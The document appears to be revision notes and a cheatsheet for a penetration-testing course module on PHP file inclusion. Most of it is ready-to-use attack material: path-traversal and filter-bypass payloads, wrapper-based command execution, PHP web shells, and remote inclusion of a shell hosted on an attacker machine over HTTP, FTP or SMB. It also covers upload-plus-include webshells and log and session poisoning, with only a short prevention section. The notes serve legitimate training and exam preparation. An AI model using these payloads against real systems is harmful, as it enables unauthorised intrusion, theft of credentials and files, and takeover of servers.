File Inclusion — LFI/RFI, PHP Wrappers, Log Poisoning and RCE (HTB CWES)
Built from the File Inclusion module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every payload, wrapper and path kept, condensed. PHP/Linux focus. Labs and lessons are on HTB Academy.
File inclusion happens when a user-controlled parameter feeds a file-loading function (index.php?page=about). It ranges from source-code//etc/passwd disclosure to full RCE.
1. Vulnerable functions — read vs execute
| Function | Read | Execute | Remote URL |
|---|---|---|---|
PHP include/include_once/require/require_once |
✅ | ✅ | include ✅ / require ❌ |
PHP file_get_contents |
✅ | ❌ | ✅ |
PHP fopen/file |
✅ | ❌ | ❌ |
NodeJS fs.readFile/sendFile |
✅ | ❌ | ❌ |
NodeJS res.render |
✅ | ✅ | ❌ |
Java include / import |
✅ | import ✅ | import ✅ |
.NET Response.WriteFile/@Html.Partial |
✅ | ❌ | ❌ |
.NET include |
✅ | ✅ | ✅ |
Execute functions → RCE possible; read-only → source/file disclosure (which still leaks creds, keys, more bugs).
2. Basic LFI and path traversal
?language=/etc/passwd # absolute path (when input is used raw)
?language=../../../../etc/passwd # path traversal (works even inside ./languages/)
?language=/../../../etc/passwd # filename prefix (lang_ + input) → lead with /
Extra ../ is harmless at /, so over-traverse freely. Windows: C:\Windows\boot.ini. Appended extension (include($lang.".php")) restricts you to .php on modern PHP (useful for reading source). Second-order: poison a stored value (e.g. username ../../../etc/passwd) that another feature later includes.
3. Filter bypasses
....//....//....//etc/passwd # non-recursive ../ strip (also ..././ ....\/ ....////)
%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL-encode (and double-encode) to beat . / filters
./languages/../../../../etc/passwd # "approved path" prefix then traverse out
/etc/passwd%00 /etc/passwd/././…×2048 # null byte / path truncation — PHP < 5.3/5.5 only
4. Source disclosure — php://filter
Including a .php file executes it (empty output). Base64-encode it instead to read the source:
?language=php://filter/read=convert.base64-encode/resource=config
Decode the result (base64 -d). Fuzz for PHP files first (ffuf ... FUZZ.php, all status codes), then read each and follow references.
5. RCE via PHP wrappers
Most need allow_url_include=On — check it via LFI:
curl ".../index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini" | ... | base64 -d | grep allow_url_include
# data:// — base64 web shell inline (URL-encode the base64)
echo '<?php system($_GET["cmd"]); ?>' | base64 # PD9waHAgc3lzdGVt…
curl ".../index.php?language=data://text/plain;base64,PD9waHA…&cmd=id"
# php://input — web shell in the POST body (param must accept POST)
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' ".../index.php?language=php://input&cmd=id"
# expect:// — direct command execution (needs the expect module)
curl -s ".../index.php?language=expect://id"
6. Remote File Inclusion (RFI)
Needs allow_url_include + a function that fetches URLs. Confirm with a local URL first, then host a shell:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# HTTP
sudo python3 -m http.server 80 # → ?language=http://OUR_IP/shell.php&cmd=id
# FTP (if http is blocked/filtered)
sudo python3 -m pyftpdlib -p 21 # → ?language=ftp://OUR_IP/shell.php&cmd=id
# SMB (Windows target, no allow_url_include needed; best on same network)
impacket-smbserver -smb2support share $(pwd) # → ?language=\\OUR_IP\share\shell.php&cmd=whoami
7. LFI + file upload → RCE
If the app lets you upload anything and you have an execute LFI, embed PHP in the file and include it:
# image: magic bytes + PHP; upload, then include the stored path
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif # → ?language=./profile_images/shell.gif&cmd=id
# zip wrapper
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
# → ?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
# phar wrapper (build a .phar, rename to .jpg)
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
# → ?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
8. Log / session poisoning
Write PHP into something that's logged, then include that log (needs read access + execute LFI).
# PHP session: find your PHPSESSID → /var/lib/php/sessions/sess_<ID>
?language=/var/lib/php/sessions/sess_<ID> # inspect; 'page' is controllable
?language=<?php system($_GET["cmd"]);?> # poison (URL-encoded), then include the session file &cmd=id
# Apache/Nginx access.log via the User-Agent header
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison
curl -s "http://TARGET/index.php" -H @Poison
?language=/var/log/apache2/access.log&cmd=id # (Nginx: /var/log/nginx/access.log)
Also try /proc/self/environ, /proc/self/fd/N, and sshd/mail/vsftpd logs (log a username/email of PHP code, then include).
9. Automated discovery
ffuf -w burp-parameter-names.txt:FUZZ -u 'http://TARGET/index.php?FUZZ=value' -fs 2287 # hidden params
ffuf -w LFI-Jhaddix.txt:FUZZ -u 'http://TARGET/index.php?language=FUZZ' -fs 2287 # LFI payloads
ffuf -w default-web-root-directory-linux.txt:FUZZ -u '.../?language=../../../../FUZZ/index.php' -fs 2287 # webroot
ffuf -w LFI-WordList-Linux:FUZZ -u '.../?language=../../../../FUZZ' -fs 2287 # server files/logs/config
# read /etc/apache2/apache2.conf (DocumentRoot, log paths) + /etc/apache2/envvars (APACHE_LOG_DIR)
# tools: LFISuite, liffy, LFiFreak (dated, python2)
10. Prevention
- Don't pass user input to include functions. Use a whitelist (DB/case-map of allowed pages) and a default.
- Stop traversal:
basename(), or recursively strip../(while(substr_count($i,'../')) $i=str_replace('../','',$i);). Native functions catch edge cases. - Config:
allow_url_fopen/allow_url_include = Off,open_basedir=/var/www, disableexpect/mod_userdir, run in Docker. - WAF (ModSecurity) in permissive mode as an early-warning tripwire.
11. What to carry into the CWES exam
- Confirm LFI with
/etc/passwd+../, then decide read vs execute from the behaviour (source leaks → read-only; PHP renders → execute). - Read source with
php://filterbase64, checkphp.iniforallow_url_include, then go for RCE:data:///php://input/expect://, or RFI (http/ftp/smb). - No wrapper RCE? Upload+include (image/zip/phar) or poison a log/session (User-Agent, PHPSESSID) and include it.
- Fuzz hidden params and use
LFI-Jhaddix.txt; locate the webroot/log paths by readingapache2.conf/envvars. - Skills assessment: a job-application (upload) form → classic LFI + upload → RCE chain.
Cheatsheet — File Inclusion
LFI / traversal / bypass
/etc/passwd ../../../../etc/passwd /../../../etc/passwd (prefix)
....//....//etc/passwd %2e%2e%2fetc%2fpasswd ./allowed/../../../etc/passwd
/etc/passwd%00 (PHP<5.5)
Source & wrappers
php://filter/read=convert.base64-encode/resource=config # source
data://text/plain;base64,<b64 webshell>&cmd=id # RCE (allow_url_include)
php://input (POST body = <?php system($_GET["cmd"]);?>) &cmd=id
expect://id # RCE (expect module)
RFI
python3 -m http.server 80 → ?language=http://IP/shell.php&cmd=id
pyftpdlib -p 21 → ftp://IP/shell.php
impacket-smbserver share . → \\IP\share\shell.php (Windows)
Upload + include
echo 'GIF8<?php system($_GET["cmd"]);?>' > shell.gif → ./uploads/shell.gif&cmd=id
zip shell.jpg shell.php → zip://./uploads/shell.jpg%23shell.php&cmd=id
phar → phar://./uploads/shell.jpg%2Fshell.txt&cmd=id
Poisoning
session: ?language=/var/lib/php/sessions/sess_<PHPSESSID>&cmd=id (poison via ?language=<?php…?>)
logs: curl TARGET -H @Poison (User-Agent:<?php…?>) ; ?language=/var/log/apache2/access.log&cmd=id
also: /proc/self/environ /var/log/nginx/access.log
Fuzz — params burp-parameter-names.txt · payloads LFI-Jhaddix.txt · webroot default-web-root-directory-*.txt · files LFI-WordList-Linux
Built from HTB Academy's File Inclusion module — labs, lessons and the CWES exam are on HTB Academy.